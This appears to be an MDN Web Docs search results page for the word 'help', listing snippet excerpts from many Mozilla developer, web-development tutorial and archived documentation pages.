introduction this document is intended to explain how the autodial helper feature implemented for bug 93002 works and why it works that way.
... origin of the bug before the implementation of the autodial helper feature, mozilla would trigger the autodial feature on nt-based operating systems, but only if certain conditions are met.
...in an attempt to help users who want to use the autodial feature of the os, i added the autodial helper feature requested in bug 93002.
...And 4 more matches
Developing New Mozilla Features - Archive of obsolete content
and of course, we have a set of coding practices to help everyone live together.
... develop relationships with existing developers in the area of your feature if you want to add a big new feature to mail, spend some time helping the existing mail developers.
... help the existing developers to understand that you are “for real” that you have a clue about mozilla development; that your team is going to ship a product.
...And 4 more matches
Frequently Asked Questions - Archive of obsolete content
we currently maintain two documents to help answer this question: a status page for svg in firefox 1.5+ and a status page for svg in the development trunk.
... this is an xml debugging message to help xml authors correct errors in their xml documents.
...to help us make the best use of our time, please first search in the svg component of our bug database to check that the issue hasn't already been reported.
...And 4 more matches
Assessment: Accessibility troubleshooting - Learn web development
note: if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... assessment or further help if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch.
... write a post asking for assessment and/or help at the mdn discourse forum learning category.
...And 4 more matches
A cool-looking box - Learn web development
note: if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... example the following screenshot shows an example of what the finished design could look like: assessment or further help if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch.
... write a post asking for assessment and/or help at the mdn discourse forum learning category.
...And 4 more matches
Creating fancy letterheaded paper - Learn web development
note: if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... example the following screenshot shows an example of what the finished design could look like: assessment or further help if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch.
... write a post asking for assessment and/or help at the mdn discourse forum learning category.
...And 4 more matches
Fundamental CSS comprehension - Learn web development
note: if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... example the following screenshot shows an example of what the finished design should look like: assessment or further help if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch.
... write a post asking for assessment and/or help at the mdn discourse forum learning category.
...And 4 more matches
Using your new knowledge - Learn web development
note: if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... assessment or further help if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch.
... write a post asking for assessment and/or help at the mdn discourse forum learning category.
...And 4 more matches
Typesetting a community school homepage - Learn web development
note: if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... example the following screenshot shows an example of what the finished design could look like: assessment or further help if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch.
... write a post asking for assessment and/or help at the mdn discourse forum learning category.
...And 4 more matches
Marking up a letter - Learn web development
note: if you get stuck, then ask us for help.
... see the assessment or further help section at the bottom of this page.
... assessment or further help if you would like your work assessed, or if you get stuck and want to ask for help: put your work in an online shareable editor such as codepen, jsfiddle, or glitch.
...And 4 more matches
Mozilla splash page - Learn web development
this would also be useful if you want to get it assessed, or ask for help — see the assessment or further help section at the bottom of this page.
... assessment or further help if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch.
... write a post asking for assessment and/or help at the mdn discourse forum.
...And 4 more matches
Assessment: Structuring planet data - Learn web development
if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... assessment or further help if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch.
... write a post asking for assessment and/or help at the mdn discourse forum learning category.
...And 4 more matches
Image gallery - Learn web development
note: if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... assessment or further help if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch.
... write a post asking for assessment and/or help at the mdn discourse forum learning category.
...And 4 more matches
Adding features to our bouncing balls demo - Learn web development
note: if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... assessment or further help if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch.
... write a post asking for assessment and/or help at the mdn discourse forum learning category.
...And 4 more matches
Client-side tooling overview - Learn web development
overview: understanding client-side tools next in this article we provide an overview of modern web tooling, what kinds of tools are available and where you’ll meet them in the lifecycle of web app development, and how to find help with individual tools.
... objective: to understand what types of client-side tooling there are, and how to find tools and get help with them.
... though your choice of code editor is certainly a tooling choice, this series of articles will go beyond that, focusing on developer tools that help you produce web code more efficiently.
...And 4 more matches
AsyncTestUtils extended framework
boilerplate add the following code to the top of your test file to import everything you need: load("../../mailnews/resources/loghelper.js"); load("../../mailnews/resources/asynctestutils.js"); load("../../mailnews/resources/messagegenerator.js"); load("../../mailnews/resources/messagemodifier.js"); load("../../mailnews/resources/messageinjection.js"); if the directory where you are adding the tests does not have a head_*.js file that has the two following lines, add them at the top of your test file (before the lines shown above): load("../../mailnews/resources/maildirservice.js"); load("..
... most of the things you will want to do already have helper functions that take care of all of this, so all you need to do is pass their return values through.
... helpers for the asynchronous function contract it can be annoying to have to write interface boilerplate just to call async_driver.
...And 4 more matches
Index
for example, invoking thunderbird's help | what's new menu option opens a tab that displays web content.
...this reference will help you track those events down and learn how to use them.
...bug 493414), but in the meantime, it would be helpful to be able to get useful output on stderr about exceptions, events and pretty-printed objects.
...And 4 more matches
HTML attribute: rel - HTML: Hypertext Markup Language
WebHTMLAttributesrel
not allowed annotation annotation help link to context-sensitive help.
... external resource not allowed not allowed prerender specifies that the user agent should preemptively fetch the target resource and process it in a way that helps deliver a faster response in the future.
...useful for resources the user will likely need, it helps reduce latency and thereby improves performance when the user does access the resources as the browser preemptively performed dns resolution for the origin of the specified resource.
...And 4 more matches
Performance fundamentals - Web Performance
in the context of open web apps, this document explains in general what performance is, how the browser platform helps improve it, and what tools and processes you can use to test and improve it.
... specific coding tips for application performance the following practical tips will help improve one or more of the application performance factors discussed above.
...it helps a lot to simplify your look-and-feel and move a proxy element around when you drag and drop.
...And 4 more matches
HTML: A good basis for accessibility - Learn web development
the goal isn't "all or nothing." however, — every improvement you can make will help the cause of accessibility.
...s, and a large head with lots of sharp teeth." title="the mozilla red dinosaur"> <img src="dinosaur.png" aria-labelledby="dino-label"> <p id="dino-label">the mozilla red tyrannosaurus rex: a two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth.</p> the first image, when viewed by a screen reader, doesn't really offer the user much help — voiceover for example reads out "/dinosaur.png, image".
... it reads out the filename to try to provide some help.
...And 3 more matches
HTML: A good basis for accessibility - Learn web development
the goal isn't "all or nothing." however, — every improvement you can make will help the cause of accessibility.
...s, and a large head with lots of sharp teeth." title="the mozilla red dinosaur"> <img src="dinosaur.png" aria-labelledby="dino-label"> <p id="dino-label">the mozilla red tyrannosaurus rex: a two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth.</p> the first image, when viewed by a screen reader, doesn't really offer the user much help — voiceover for example reads out "/dinosaur.png, image".
... it reads out the filename to try to provide some help.
...And 3 more matches
WAI-ARIA basics - Learn web development
wai-aria is a technology that can help with such problems by adding in further semantics that browsers and assistive technologies can recognize and use to let users know what is going on.
...in these situations, aria can help to provide what's missing with a combination of roles like button, listbox, or tabgroup, and properties like aria-required or aria-posinset to provide further clues as to functionality.
...for now though, let's look at how aria can help with dynamic content updates.
...And 3 more matches
Advanced form styling - Learn web development
if you look at the reference page you'll see a lot of different possible values listed for -webkit-appearance, however by far the most helpful value, and probably the only one you'll use, is none.
...in the article how to build custom form controls you will see how to do it on your own, but there are some very useful libraries out there that can help you: uni-form is a framework that standardizes form markup, styling it with css.
... formalize is an extension to common javascript frameworks (such as jquery, dojo, yui, etc.) that helps to normalize and customize your forms.
...And 3 more matches
Test your skills: JSON - Learn web development
if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page.
... note: in the example below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's javascript console, in the case of the downloadable version).
... assessment or further help you can practice these examples in the interactive editor above.
...And 3 more matches
TypeScript support in Svelte - Learn web development
even if you are not planning to adopt it, this article will be useful for allowing you to learn what it has to offer and help you make your own decision.
...the goal of typescript is to help catch mistakes early through its type system and make javascript development more efficient.
... no replacement for automatic tests: even though types might help you catch several bugs, typescript is not a true replacement for a comprehensive suite of automated tests.
...And 3 more matches
Command line crash course - Learn web development
viewing the command line for the first time can be a daunting experience: a blank screen and a blinking cursor, with very little obvious help available on what to do.
...this is why we are providing this chapter — to help you get started in this seemingly unfriendly environment.
... help newcomers to web development format their code in best-practice fashion.
...And 3 more matches
Developer guide
this guide provides information that will not only help you get started as a mozilla contributor, but that you'll find useful to refer to even if you are already an experienced contributor.
... for new mozilla developers a directory of articles which are particularly helpful for new mozilla developers.
... managing multiple profiles when working with prerelease versions of firefox, it's often helpful to have multiple firefox profiles, such as one for each channel, or for different kinds of testing.
...And 3 more matches
Overview of Mozilla embedding APIs
nsmemory nsmemory::alloc nsmemory::realloc nsmemory::free this helper class provides static accessors to the global nsmemory service.
... ns_convertasciitoucs2 this is a helper class which converts an ascii string into a ucs2 string.
... do_queryinterface this is a helper class which works in conjunction with nscomptr to perform a simplified call to nsisupports::queryinterface(...) with a typesafe assignment.
...And 3 more matches
Getting Started with Chat
posting a message like "help!" is not particularly helpful.
... asking a good question will result in a better experience for both you and the person trying to help.
...nickserv also automatically elevates all registered users to operators when they sign on.the following are some helpful commands which can be used by nickserv: /msg nickserv register password email this registers your nickname with the server.
...And 3 more matches
Translation phase
the l10n tools are meant to help you maintain your localized content from release to release and leverage already localized materials when localizing new content.
...follow the tutorials to help you decide which l10n tool fits your specific needs.
... mozilla translator am offline, stand-alone, java-based l10n tool that helps you translate and integrates with your repositories.
...And 3 more matches
Gecko Profiler FAQ
for this purpose you should try to use a native profiler on your platform of choice (for example xperf/vtune on windows, instruments on osx, and perf/zoom on linux.) one workaround is to break the hot function into several explicitly-non-inline helpers, recompile, and re-profile.
...we don’t have a script that combines profiles, but i can help you write one if you’re interested.
...i can help you add one, though.
...And 3 more matches
Index
9 hacking tips spidermonkey this page list a few tips to help you investigate issues related to spidermonkey.
... 29 js::callargs jsapi reference, reference, référence(2), spidermonkey js::callargs is helper class encapsulating access to the callee, this value, arguments, and argument count for a function call.
...this can be helpful if funobj is an extant function that you wish to use as if it were enclosed by a newly-created global object.
...And 3 more matches
Mozilla internal string guide
as a result, you cannot assign a 8-bit string to a 16-bit string without some kind of conversion helper class or routine.
... there are also a number of concrete classes that are created as a side-effect of helper routines, etc.
... helper classes and functions converting cocoa strings use mozilla::copycocoastringtoxpcomstring() in mozilla/macstringhelpers.h to convert cocoa strings to xpcom strings.
...And 3 more matches
Interfacing with the XPCOM cycle collector
in this stage the collector repeatedly asks each candidate for a singleton cycle-collection helper class, and if that helper exists, the collector asks the helper to describe the candidate's (owned) children.
...in this stage the collector walks through the garbage objects it has found, again consulting with their helper objects, asking the helper objects to "unlink" each object from its immediate children.
... it only traverses objects that return a helper object when qi'ed to nsicyclecollectionparticipant.
...And 3 more matches
Web Audio API - Web APIs
there's also a basic concepts behind web audio api article, to help you understand the way digital audio works, specifically in the realm of the api.
...so if some of the theory doesn't quite fit after the first tutorial and article, there's an advanced tutorial which extends the first one to help you practise what you've learnt, and apply some more advanced techniques to build up a step sequencer.
... dynamicscompressornode the dynamicscompressornode interface provides a compression effect, which lowers the volume of the loudest parts of the signal in order to help prevent clipping and distortion that can occur when multiple sounds are played and multiplexed together at once.
...And 3 more matches
Using HTML sections and outlines - Developer guides
the html5 specification introduced several semantic sectioning elements to help organize the structure of documents.
...by contrast, the <nav> sectioning element more clearly describes to browsers and other devices the content contained: links or other navigational structures to help users move through and understand where they are in a site's or page's content.
... <article> <h1>how to become an mdn contributor</h1> <p> do you want to help protect the web?....
...And 3 more matches
<input type="email"> - HTML: Hypertext Markup Language
WebHTMLElementinputemail
as such, the email input type can make your job as a web developer much easier since it can help simplify your work when building the user interface and logic for e-mail addresses.
...this can help avoid cases in which the user mistypes their address, or provides an invalid address.
... some examples of valid strings when multiple is specified: "" "me@example" "me@example.org" "me@example.org,you@example.org" "me@example.org, you@example.org" "me@example.org,you@example.org, us@example.org" some examples of invalid strings: "," "me" "me@example.org you@example.org" placeholders sometimes it's helpful to offer an in-context hint as to what form the input data should take.
...And 3 more matches
Optimizing startup performance - Web Performance
this article offers tips and suggestions to help you achieve that goal, both when writing a new app and when porting an app from another platform to the web.
...the most important thing to do to try to help with the main code's startup process is to refactor the code into small pieces that can be done in chunks interspersed across multiple calls to your app's main loop, so that the main thread gets to handle input and the like.
... emscripten provides an api to help with this refactoring; for example, you can use emscripten_push_main_loop_blocker() to establish a function to be executed before the main thread is allowed to continue.
...And 3 more matches
Web Performance
there are tools, apis, and best practices that help us measure and improve web performance.
...in the context of open web apps, this document explains in general what performance is, how the browser platform helps improve it, and what tools and processes you can use to test and improve it.performance monitoring: rum vs synthetic monitoringsynthetic monitoring and real user monitoring (rum) are two approaches for monitoring and providing insight into web performance.
...to understand how to improve performance and perceived performance, it helps to understand how the browser works.recommended web performance timings: how long is too long?there are no clear set rules as to what constitutes a slow pace when loading pages, but there are specific guidelines for indicating content will load (1 second), idling (50ms), animating (16.7s) and responding to user input (50 to 200ms).the business case for web performanceyou know web performance is important, but how do you convince clients and management to invest in performance and make it a priority.
...And 3 more matches
Promises - Archive of obsolete content
this interface replaces the previous, complicated xpcom nsifile and streams apis, and their related javascript helper modules.
... notifyuser(resp.target.responsetext); }); example using promise-based helper the following example relies on the helper function defined below.
... yield db.close(); } }); promise wrappers and helpers the following are some example promise-based wrappers for common callback-based asynchronous apis.
...And 2 more matches
A XUL Bestiary - Archive of obsolete content
in the example above, the chrome is simply a skin file to be loaded into the xul file, but the chrome can also be used to load whole chromes, as when a <menuitem> in one window brings up a new chrome: <menuitem value="mozilla help" oncommand="window.opendialog('chrome://help/content/help.xul', '_blank', 'chrome,all,dialog=no')" /> in this example, the chrome url is being used to point to a chrome within the package hierarchy of the mozilla application.
... a help chrome defined in mozilla/bin/chrome/help/ is being invoked from the help menu.
...in other words, a chrome url like the global pointer above picks up a file called global.css, and the help pointer above could also be written as chrome://help/content, because the name of the package itself is "help." viewing chromes other than mozilla's there is a special flag you can use to start mozilla with some chrome other than the default.
...And 2 more matches
dialog - Archive of obsolete content
attributes buttonaccesskeyaccept, buttonaccesskeycancel, buttonaccesskeydisclosure, buttonaccesskeyextra1, buttonaccesskeyextra2, buttonaccesskeyhelp, buttonalign, buttondir, buttondisabledaccept, buttonlabelaccept, buttonlabelcancel, buttonlabeldisclosure, buttonlabelextra1, buttonlabelextra2, buttonlabelhelp, buttonorient, buttonpack, buttons, defaultbutton, title properties buttons, defaultbutton methods acceptdialog, canceldialog, centerwindowonscreen, getbutton, movetoalertposition examples <?xml version="1.0"?> <?xml-style...
... buttonaccesskeyhelp type: string the access key to use for the "help" button.
... buttonlabelhelp type: string the label to appear on the "help" button.
...And 2 more matches
Extentsions FAQ - Archive of obsolete content
just drag them there from the toolbar customisation window, like you would when adding buttons to the toolbars." option #4 install toolbar control <http://webdesigns.ms11.net/chromeditp.html> asking for help with getting an extension to process windows messages.
... no confirmation from the question asker on whether this answer was helpful in solving their problem.
... these are called "grippies" <https://addons.mozilla.org/firefox/2242/> this extension brings grippies back to firefox (and thunderbird!) is there any way to write a regular extension that returns a "dummy" object when an instance of "@mozilla.org/helperapplauncherdialog;1" is created?
...And 2 more matches
3D games on the Web - Game development
there's an ongoing effort on releasing webgl 2.0 (based on opengl es 3.0) in the near future, which will bring many improvements and will help developers build games for the modern web using current, powerful hardware.
... the rise of libraries and frameworks coding raw webgl is fairly complex, but you'll want to get to grips with it in the long run, as your projects get more advanced (see our webgl documentation to get started.) for real-world projects you'll probably also make use of a framework to speed up development and help you manage the project you're working on.
... using a framework for 3d games also helps optimize the performance as a lot is taken care of by the tools you use, so you can focus on building the game itself.
...And 2 more matches
Desktop gamepad controls - Game development
you could also create a helper function that would assign proper names to the listed buttons, so for example istead of checking out if gamepadbuttonpressedhandler(3) is pressed, you could do a more descriptive check: gamepadbuttonpressedhandler('dpad-right').
...e) { if(!this.textgamepad.visible) { this.textgamepad.visible = true; } gamepadapi.update(); if(gamepadapi.buttons.pressed('start')) { // start the game } if(gamepadapi.buttons.pressed('x')) { // turn on/off the sounds } if(gamepadapi.buttons.pressed('y','hold')) { if(!this.screengamepadhelp.visible) { this.screengamepadhelp.visible = true; } } else { if(this.screengamepadhelp.visible) { this.screengamepadhelp.visible = false; } } } } when pressing the start button the relevant function will be called to begin the game, and the same approach is used for turning the audio on and off.
... there's an option wired up to show screengamepadhelp, which holds an image with all the button controls explained — if the y button is pressed and held, the help becomes visible; when it is released the help diappears.
...And 2 more matches
2D maze game with device orientation - Game development
the phaser framework provides you with a set of tools that will speed up development and help handle generic tasks needed to complete the game, so you can focus on the game idea itself.
...without the framework, to add the canvas element to the page, you would have to write something like this inside the <body> tag: <canvas id='game' width='320' height='480'></canvas> the important thing to remember is that the framework is setting up helpful methods to speed up a lot of things like image manipulation or assets management, which would be a lot harder to do manually.
...ate: function() { this.game.scale.scalemode = phaser.scalemanager.show_all; this.game.scale.pagealignhorizontally = true; this.game.scale.pagealignvertically = true; this.game.state.start('preloader'); } }; the main ball object is defined and we're adding two variables called _width and _height that are the width and the height of the game canvas — they will help us position the elements on the screen.
...And 2 more matches
CSS building blocks - Learn web development
the aim here is to provide you with a toolkit for writing competent css and help you understand all the essential theory, before moving on to more specific disciplines like text styling and css layout.
...as you progress in your study and begin to work with layout, an understanding of writing modes will be very helpful to you, therefore we will introduce them in this article.
...understanding how big the different features in your design will be is important, and in this lesson, we will summarize the various ways elements get a size via css and define a few terms around sizing that will help you in the future.
...And 2 more matches
HTML forms in legacy browsers - Learn web development
fortunately, there are a few tricks to know that can help you to solve most of the problems caused by legacy browsers.
... learn about the issues to understand common patterns, it helps to read browser documentation.
...there are other resources that can be amazingly helpful: browser vendor documentation mozilla: you're in the right place, just browse mdn microsoft: internet explorer standards support documentation webkit: because there are several different editions of this engine, things are a little trickier.
...And 2 more matches
Responsive images - Learn web development
previous overview: multimedia and embedding next in this article, we'll learn about the concept of responsive images — images that work well on devices with widely differing screen sizes, resolutions, and other such features — and look at what tools html provides to help implement them.
... this helps to improve performance across different devices.
...the standard <img> element traditionally only lets you point the browser to a single source file: <img src="elva-fairy-800w.jpg" alt="elva dressed as a fairy"> we can however use two new attributes — srcset and sizes — to provide several additional source images along with hints to help the browser pick the right one.
...And 2 more matches
Video and audio content - Learn web development
fortunately, there are things you can do to help prevent this from being a problem.
...see choosing the right container in media container formats (file types) for help selecting the container file format best suited for your needs; similarly, see choosing a video codec in web video codec guide and choosing an audio codec in web audio codec guide for help selecting the first media codecs to use for your content and your target audience.
... refer to our guide to media types and formats for help selecting the best containers and codecs for your needs, as well as to look up the right mime types to specify for each.
...And 2 more matches
Making decisions in your code — conditionals - Learn web development
imagine a child being asked for help with a chore by their mother or father.
...if you help me by going and doing the shopping, i'll give you some extra allowance so you can afford that toy you wanted." in javascript, we could represent this like so: let shoppingdone = false; if (shoppingdone === true) { let childsallowance = 10; } else { let childsallowance = 5; } this code as shown always results in the shoppingdone variable returning false, meaning disappointment for our poor child.
... logical operators: and, or and not if you want to test multiple conditions without writing nested if...else statements, logical operators can help you.
...And 2 more matches
Getting started with Ember - Learn web development
ember also has immense backwards and forwards compatibility to help businesses stay up to date with the latest versions of ember and latest community-driven conventions.
... ember has clear conventions that are useful for enforcing consistency and helping team members get up to speed quickly.
...in ember, opinions are a set of conventions that help increase the efficiency of developers at the cost of having to learn those conventions.
...And 2 more matches
Ember resources and troubleshooting - Learn web development
further resources ember.js guides tutorial: super rentals ember.js api documentation ember.js discord server — a forum/chat server where you can meet the ember community, ask for help, and help others!
... see also: reactiveconf 2017: secrets of the glimmer vm what is the state of the mut helper?
... there have been a coupleof new ideas put together into the form of addons that use the public apis, ember-set-helper and ember-box.
...And 2 more matches
Handling common JavaScript problems - Learn web development
browser developer tools browser developer tools have many useful features for helping to debug javascript.
... web workers api for running javascript in a separate thread, helping to improve performance.
...if an error occurs in the loading of the script, we still call the function, but with a custom error that we can retrieve to help debug a problem if it occurs.
...And 2 more matches
Package management basics - Learn web development
a bundle is the term that’s generally used to refer to a single file on your web server that contains all the javascript for your software — typically compressed as much as possible to help reduce the time it takes to get your software downloaded and displayed in your visitors’ browser.
...the important difference is that a lot of the helpful features you will use in development are not needed in the final site, so will be stripped out for production, e.g.
...though far from exhaustive, these are some of the common web development features that are very helpful at the development stage, but are not very useful in production.
...And 2 more matches
Debugging on Mac OS X
see building firefox for macos if you need help creating your own build.
... also in the "arguments" panel, you may want to add an environment variable moz_debug_child_process set to the value 1 to help with debugging e10s.
...p source directory, the object directory or else the dist/bin subdirectory of the object directory, then adding the following setting to your $home/.lldbinit is sufficient: settings set target.load-cwd-lldbinit true however, if you will run lldb from a different directory, or if you will be running it indirectly by debugging in xcode (xcode always runs lldb from "/"), then this setting will not help you.
...And 2 more matches
ESLint
in order to help people write standard-compliant code from the start and avoid wasting time during code reviews, a set of eslint configuration files have been added to the code base so that javascript can be analyzed automatically.
...meeting these rules before review will help reduce the amount of review time, and the revisions necessary to have a review granted.
... setting up eslint ./mach eslint --setup running eslint eslint can be run via: ./mach lint -l eslint you can limit running it to a specific directory with: ./mach lint -l eslint browser/components or work directory changes: ./mach lint -l eslint -w or outgoing commits only: ./mach lint -l eslint -o see ./mach eslint --help for more options when running eslint.
...And 2 more matches
Eclipse CDT
for that to work you also either need to find the existing bindings for that key combination (using the bindings column to sort by key combination helps with this) and remove them, or else you need to make your binding very specific by setting the "when" field to "c/c++ editor" instead of the more general "editing text".
... this can be useful if you need to get certain bug fixes, or to help with testing to make sure that new eclipse bugs that affect its use with mozilla don't get shipped.
... from eclipse's "help" menu select "install new software...", then in the "install" window that opens, click "available software sites".
...And 2 more matches
Mozilla Development Strategies
this article offers some strategies and suggestions to help developers stay productive.
... of course, our documentation is a wiki; you can really help by updating the documentation yourself.
... even if you're not comfortable with your writing skills, keep in mind that our helpful, happy documentation gnomes will follow along behind you and clean up for you.
...And 2 more matches
Mozilla projects on GitHub
asknot the what can i do for mozilla web site, which helps you figure out how you can contribute to mozilla.
... bugsahoy a web page to help new mozilla contributors identify bugs to fix.
... bugzilla-dashboard a convenient dashboard to help you get an overview of your bugs.
...And 2 more matches
SpiderMonkey Build Documentation
refer the release notes under command line tools -> new features the release notes also states that this compatibility package will no longer be provided in the near future, so the build system on macos will have to be adapted to look for headers in the sdk until then, the following should help, open /library/developer/commandlinetools/packages/macos_sdk_headers_for_macos_10.14.pk this builds an executable named js in the directory build-release/dist/bin.
... you can test it with dist/bin/js --help, which displays a help page.
... this can help debug memory leaks and other memory-related problems.
...And 2 more matches
Web Replay
time travel features this section describes extensions to the developer tools that use time travel to help debug a recording/replaying tab.
... timeline the timeline is shown above the developer tools and provides several features to help with navigating the recording: the timeline changes color depending on whether the tab is currently recording (red) or replaying (blue).
... devtools.recordreplay.logging when enabled, firefox will log web replay's internal actions to the terminal, which is helpful when debugging hangs and crashes.
...And 2 more matches
WebReplayRoadmap
to that end, this document will be revised over time as we find new and better ways of helping developers.
... this section describes some analyses that could be performed and be helpful for developers who are either debugging a problem, or trying to understand or improve a complex code base.
... comparing executions (not yet implemented) comparing the behavior of a recording that exhibits a bug with a second recording that doesn't exhibit the bug should help with quickly locating the source of the problem.
...And 2 more matches
Mozilla Projects
compare-locales compare-locales is a python script that helps localizers to check their work without running firefox or another application.
...david baron that helps extension and chrome developers to find memory leaks.
... shumway this article will help you understand shumway — mozilla's open standards-based flash renderer — and what it means for the community of developers currently creating the adobe flash platform.
...And 2 more matches
XML Extras
if you'd like to help out with qa, you can do one of the following: sign up as the qa owner for any of the implemented components.
... the qa owner will manage the tests associated with their component, act as qa contact for related bugs and help with regression testing.
... how can i help?
...And 2 more matches
nsIAccessibleEvent
event_help_change 0x000e 0x000b an object's help has changed.
... event_contexthelp_start 0x0020 0x001d a window has entered context-sensitive help mode.
... event_contexthelp_end 0x0021 0x001e a window has exited context-sensitive help mode.
...And 2 more matches
nsIClassInfo
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsisupports gethelperforlanguage(in pruint32 language); void getinterfaces(out pruint32 count, [array, size_is(count), retval] out nsiidptr array); attributes attribute type description classdescription string a human readable string naming the class, or null.
...obsolete since gecko 2.0 methods gethelperforlanguage() get a language mapping specific helper object that may assist in using objects of this class in a specific lanaguage.
... for example, if asked for the helper for nsiprogramminglanguage::javascript this might return an object that can be nsisupports.queryinterface()'d into the nsixpcscriptable interface to assist xpconnect in supplying javascript specific behavior to callers of the instance object.
...And 2 more matches
Xptcall Porting Status
he is hoping that others will help test the changes using these two compilers on the various platforms where this same code is used.
...hopefully the comments in the code are detailed enough to help people attempting a port.
... <font color="white">help!</font> beos ppc - - <font color="white">done</font> compaq tru64 unix (digital unix) steve streeter <streeter@zk3.dec.com> code passes the tests and is checked in.
...And 2 more matches
Web Console remoting - Firefox Developer Tools
this nodeactor can then be referred to by the $0 jsterm helper.
... the response packet: { "from": "conn0.console9", "input": "document", "result": { "type": "object", "classname": "htmldocument", "actor": "conn0.consoleobj20" "extensible": true, "frozen": false, "sealed": false }, "timestamp": 1347306273605, "exception": null, "exceptionmessage": null, "helperresult": null } exception holds the json-ification of the exception thrown during evaluation.
... helperresult is anything that might come from a jsterm helper result, json stuff (not content objects!).
...And 2 more matches
Web applications and ARIA FAQ - Accessibility
it also provides additional structural information, helping authors identify landmarks, regions, and grids on their pages.
...from the browser's point of view, the native html defines the semantic meaning and behavior of an element, with aria attributes acting as a layer on top to help support the at api.
... several inspecting and debugging tools exist to help you test aria in action: object inspector on windows accessibility inspector on os x accprobe on linux firebug's dom inspector the accessibility inspector for firebug the audits tab in chrome devtools there are several free or open source screen readers that can be used to do hands-on testing with aria.
...And 2 more matches
Text labels and names - Accessibility
examples the title for the reference article about the <title> element is as follows: <title>&lt;title&gt;: the document title element - html: hypertext markup language</title> another example might look like so: <title>fill in your details to register — mygov services</title> to help the user, you can update the page title value to reflect significant page state changes (such as form validation problems): <title>2 errors — fill in your details to register — mygov services</title> see also <title> embedded content must be labeled make sure that elements that embed content have a title attribute that describes the embedded content.
...a descriptive title helps users of assistive technology understand what the element is showing.
... users of assistive technology find this description helpful when trying to work out the overall purpose of the group.
...And 2 more matches
Index - Developer guides
WebGuideIndex
found 43 pages: # page tags and summary 1 developer guides api, guide, landing, web these articles provide how-to information to help make use of specific web technologies and apis.
... 20 media events intermediate, media various events are sent when handling media that are embedded in html documents using the <audio> and <video> elements; this section lists them and provides some helpful information about using them.
... 29 index guide, index found 31 pages: 30 introduction to web development beginner, css, codingscripting, development, html, javascript, web whether you're just getting started with web development, or are just expanding your horizons into new realms of web awesomeness, the links here should help you get started.
...And 2 more matches
Applying color to HTML elements using CSS - HTML: Hypertext Markup Language
fortunately, there are tools available that can help you.
... while they can't replace having a good designer helping you make these decisions, they can definitely get you started.
...some of these are even specifically designed to help with this sort of work.
...And 2 more matches
<input type="url"> - HTML: Hypertext Markup Language
WebHTMLElementinputurl
as a general rule, you should avoid using them unless it can't be helped.
...this can help avoid cases in which the user mis-types their web site's address, or provides an invalid one.
... placeholders sometimes it's helpful to offer an in-context hint as to what form the input data should take.
...And 2 more matches
<table>: The Table element - HTML: Hypertext Markup Language
WebHTMLElementtable
/tr> </table> <p>simple table with caption</p> <table> <caption>awesome caption</caption> <tr> <td>awesome data</td> </tr> </table> table { border-collapse: collapse; border-spacing: 0px; } table, th, td { padding: 5px; border: 1px solid black; } accessibility concerns captions by supplying a <caption> element whose value clearly and concisely describes the table's purpose, it helps the people decide if they need to read the rest of the table content or skip over it.
... this helps people navigating with the aid of assistive technology such as a screen reader, people experiencing low vision conditions, and people with cognitive concerns.
...</code></td> <td><code>hsla(180, 90%, 64%, 1)</code></td> <td><code>rgba(81, 246, 246, 1)</code></td> </tr> <tr> <th scope="row">goldenrod</th> <td><code>#f6bc57</code></td> <td><code>hsla(38, 90%, 65%, 1)</code></td> <td><code>rgba(246, 188, 87, 1)</code></td> </tr> </tbody> </table> providing a declaration of scope="col" on a <th> element will help describe that the cell is at the top of a column.
...And 2 more matches
Performance Monitoring: RUM vs synthetic monitoring - Web Performance
controlling for environmental variables is helpful in understanding where performance bottlenecks have been occurring and identifying the source of any performance issues.
...if an issue arises in production, synthetic monitoring can provide insight, helping identify, isolate, and resolve problems before they negatively user experience.
...rum helps identify how an application is being used, including the geographic distribution of users and the impact of that distribution on the end user experience.
...And 2 more matches
Mozilla Documentation Roadmap - Archive of obsolete content
let's look into the resources that have helped us the most.
...it's incredibly comprehensive, and its underlying wiki technology makes it easy to expand and evolve with the help of the community.
...there are several help and development channels where you can discuss problems and other topics in real time with the people that have the answers.
...problems using irc include: finding help when you have a big timezone difference with the united states, and no records of previously asked questions and their answers.
MMgc - Archive of obsolete content
only do this if you know for certain that there are no other references, and you want to help the gc along: // optimization: get rid of myobject now, because we know there are no other // references, so no need to wait for gc to clean it up.
...finding missing write barriers there are some automatic aids in the mmgc library which can help you find missing write barriers.
... this is where garbage collection helps.
...furthermore we can run this check even more frequently than every mark increment, for instance every time our gc memory allocators request a new block from our primary allocator (the way our extremely helpful greedy collection mode works).
Getting Started - Archive of obsolete content
skin\classic\help help contains all the files for theming the help dialog window.
...into this directory put a zip archive called my_theme.jar containing navigator, global, communicator, editor, help, messenger, messenger-newsblog and mozapps directories from above.
